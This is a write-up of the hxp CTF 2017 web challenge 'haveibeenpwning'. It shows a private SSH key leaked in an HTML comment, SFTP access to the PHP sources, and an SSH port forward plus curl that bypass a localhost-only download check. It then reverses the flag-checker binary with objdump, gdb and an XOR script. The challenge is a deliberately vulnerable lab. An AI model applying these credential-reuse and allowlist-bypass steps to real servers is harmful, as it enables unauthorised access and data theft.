hxp CTF 2017: web200 "haveibeenpwning" writeup

Check if you have a flag that has been compromised in a data breach

Connection:

http://35.198.105.111/

100 Basepoints + 100 Bonuspoints * min(1, 3 / 39 Solves) = 107 Points

This writeup explains the haveibeenpwning challenge of the recent hxp CTF 2017.

The challenge presents a web site that allows to check if our flags have been compromised.

haveibeenpwning web site

The form seems to only accept inputs which follow the flag format and the “Admin Area” also isn’t accessible.

The source of the web site contains a comment about debug access:

<!--

DEBUG ACCESS:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDquK/7iBah+2oNfzgOxkzOEyoU1XiD1AZjJL1VU6bt5QAAAJAvoKT4L6Ck
+AAAAAtzc2gtZWQyNTUxOQAAACDquK/7iBah+2oNfzgOxkzOEyoU1XiD1AZjJL1VU6bt5Q
AAAEDtWYU9ArlZT6SD0QhhGaizujbGxsL7qF1HhqQLej0BaOq4r/uIFqH7ag1/OA7GTM4T
KhTVeIPUBmMkvVVTpu3lAAAAC2JiQG5vdGVib29rAQI=
-----END OPENSSH PRIVATE KEY-----

sftp://ctf@ip:2222/

-->

With this credentials were are able to access the server with SFTP:

$ sftp -i id_ed25519 -P 2222 ctf@35.198.105.111
Connected to 35.198.105.111.
sftp> ls -l
-r--r--r--    1 0        0             358 Nov 10 14:55 download.php
-r--r--r--    1 0        0            1493 Nov 10 14:55 index.php
sftp> get *
...

It seems that were are chrooted into the read-only www directory of the webserver. SFTP allows us to download the PHP scripts. We will proceed with analysing the downloaded PHP files.

index.php

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>have I been pwning</title>
  </head>
  <body>
	<h1>Have I been pwning</h1>
	<form method="post">
		<input name="flag" placeholder="hxp{...}">
		<input type="submit" value="check">
	</form>



	<h2>Admin Area</h2>
	<a href="download.php">Download flag checker</a>

<?php
	if( isset($_POST['flag']) ){
			if (preg_match('/^hxp\{[a-z0-9_]{1,128}\}$/', $_POST['flag'])){

				exec("/home/ctf/check_flag '".escapeshellarg($_POST['flag'])."'", $output, $retval);
				if($retval === 0) {
					die('pwned!!! please submit');
				}
				else {
					die("likely safe! you haven't been pwning :(");
				}
			}
			else {
				die("no hacks please!");
			}
	}
?>
...
<!--

DEBUG ACCESS:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDquK/7iBah+2oNfzgOxkzOEyoU1XiD1AZjJL1VU6bt5QAAAJAvoKT4L6Ck
+AAAAAtzc2gtZWQyNTUxOQAAACDquK/7iBah+2oNfzgOxkzOEyoU1XiD1AZjJL1VU6bt5Q
AAAEDtWYU9ArlZT6SD0QhhGaizujbGxsL7qF1HhqQLej0BaOq4r/uIFqH7ag1/OA7GTM4T
KhTVeIPUBmMkvVVTpu3lAAAAC2JiQG5vdGVib29rAQI=
-----END OPENSSH PRIVATE KEY-----

sftp://ctf@ip:2222/

-->

We see that the supplied flag is verified for its format and safely passed to /home/ctf/check_flag for verification. There seems to be no way to bypass the applied checks and we need to extract /home/ctf/check_flag to get the flag.

download.php

<?php

$whitelist = ['127.0.0.1', '::1'];

if( in_array($_SERVER['REMOTE_ADDR'], $whitelist) ){
	$file_url = '/home/ctf/check_flag';
	header('Content-Type: application/octet-stream');
	header('Content-Transfer-Encoding: Binary');
	header('Content-disposition: attachment; filename="check_flag"');
	readfile($file_url);
}
else {
	echo 'permission denied';
}

download.php offers access to the flag checker binary. If the script gets accessed from localhost it will allow us to download the binary.

We need to find a way to trigger requests from localhost to fetch check_flag.

Sadly command execution via SSH is disabled:

$ ssh -i id_ed25519 -p 2222 ctf@35.198.105.111
This service allows sftp connections only.
Connection to 35.198.105.111 closed.

We remember that SSH also allows to forward ports.

ssh -i id_ed25519 -p 2222 -L 8080:127.0.0.1:80  -N ctf@35.198.105.111
curl http://127.0.0.1:8080/download.php > check_flag

Note: the -N parameter forces ssh to only forward ports without executing a command

Reversing

We finally extracted the check_flag binary which we need to analyze further.

$ file check_flag
check_flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a7a7f1ead999e35e877ef71049c7238a85554a89, not stripped

The disassembled main function of the binary can be seen here:

$ objdump -d check_flag
00000000000006e0 <main>:
 6e0:	53                   	push   %rbx
 6e1:	31 c9                	xor    %ecx,%ecx
 6e3:	48 89 f3             	mov    %rsi,%rbx
 6e6:	ba 02 00 00 00       	mov    $0x2,%edx
 6eb:	31 f6                	xor    %esi,%esi
 6ed:	48 83 ec 10          	sub    $0x10,%rsp
 6f1:	48 8b 3d 20 09 20 00 	mov    0x200920(%rip),%rdi        # 201018 <__TMC_END__>
 6f8:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
 6ff:	00 00
 701:	48 89 44 24 08       	mov    %rax,0x8(%rsp)
 706:	31 c0                	xor    %eax,%eax
 708:	e8 bb ff ff ff       	callq  6c8 <_init+0x50>
 70d:	48 8b 7b 08          	mov    0x8(%rbx),%rdi
 711:	48 8b 35 f8 08 20 00 	mov    0x2008f8(%rip),%rsi        # 201010 <a>
 718:	31 c0                	xor    %eax,%eax
 71a:	48 8d 0d 07 02 00 00 	lea    0x207(%rip),%rcx        # 928 <_IO_stdin_used+0x8>
 721:	eb 0f                	jmp    732 <main+0x52>
 723:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
 728:	48 83 c0 01          	add    $0x1,%rax
 72c:	48 83 f8 42          	cmp    $0x42,%rax
 730:	74 27                	je     759 <main+0x79>
 732:	0f b6 14 06          	movzbl (%rsi,%rax,1),%edx
 736:	32 14 01             	xor    (%rcx,%rax,1),%dl
 739:	38 14 07             	cmp    %dl,(%rdi,%rax,1)
 73c:	74 ea                	je     728 <main+0x48>
 73e:	b8 01 00 00 00       	mov    $0x1,%eax
 743:	48 8b 5c 24 08       	mov    0x8(%rsp),%rbx
 748:	64 48 33 1c 25 28 00 	xor    %fs:0x28,%rbx
 74f:	00 00
 751:	75 0a                	jne    75d <main+0x7d>
 753:	48 83 c4 10          	add    $0x10,%rsp
 757:	5b                   	pop    %rbx
 758:	c3                   	retq
 759:	31 c0                	xor    %eax,%eax
 75b:	eb e6                	jmp    743 <main+0x63>
 75d:	e8 4e ff ff ff       	callq  6b0 <_init+0x38>
 762:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
 769:	00 00 00
 76c:	0f 1f 40 00          	nopl   0x0(%rax)
...

For easier understanding we use a decompiler:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // ST08_8@1
  __int64 v4; // rax@1

  v3 = *MK_FP(__FS__, 40LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  v4 = 0LL;
  do
  {
    if ( argv[1][v4] != (byte_928[v4] ^ (unsigned __int8)a[v4]) )
      return 1;
    ++v4;
  }
  while ( v4 != 66 );
  return 0;
}

It’s visible that the flag (argv[1]) gets verified by checking it against two xored constant arrays (byte_928, a) in a loop.

We only need to extract the content of both arrays to get the flag. This can be achieved by opening the binary in gdb.

$ gdb check_flag
gdb-peda$ x/s *0x201010
0x970:	"SooMTmzdFXwLveIPryxngeiYCyVdaLDfGZkkbNsRkPLxhYEvwPZYoZmpwhOCnXNZeL"
gdb-peda$ x/s 0x928
0x928:	";\027\037\066-]\017\026\031>\033x@:!dG&\024_\fV\005 \034\033eU\017z\033\005w7\033\031R#BgX4\023\b\004jqCD\017o,\r7\\G@7>6_;%6\034\061"

Now we only need to xor the two strings and we are rewarded with a nice flag:

$ python3
>>> a = "SooMTmzdFXwLveIPryxngeiYCyVdaLDfGZkkbNsRkPLxhYEvwPZYoZmpwhOCnXNZeL"
>>> b = ";\027\037\066-]\017\026\031>\033x@:!dG&\024_\fV\005 \034\033eU\017z\033\005w7\033\031R#BgX4\023\b\004jqCD\017o,\r7\\G@7>6_;%6\034\061"
>>> for x,y in zip(a,b):
...     print(chr(ord(x)^ord(y)),end='')

hxp{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d_pl3453_5ubm177_qu1ckly}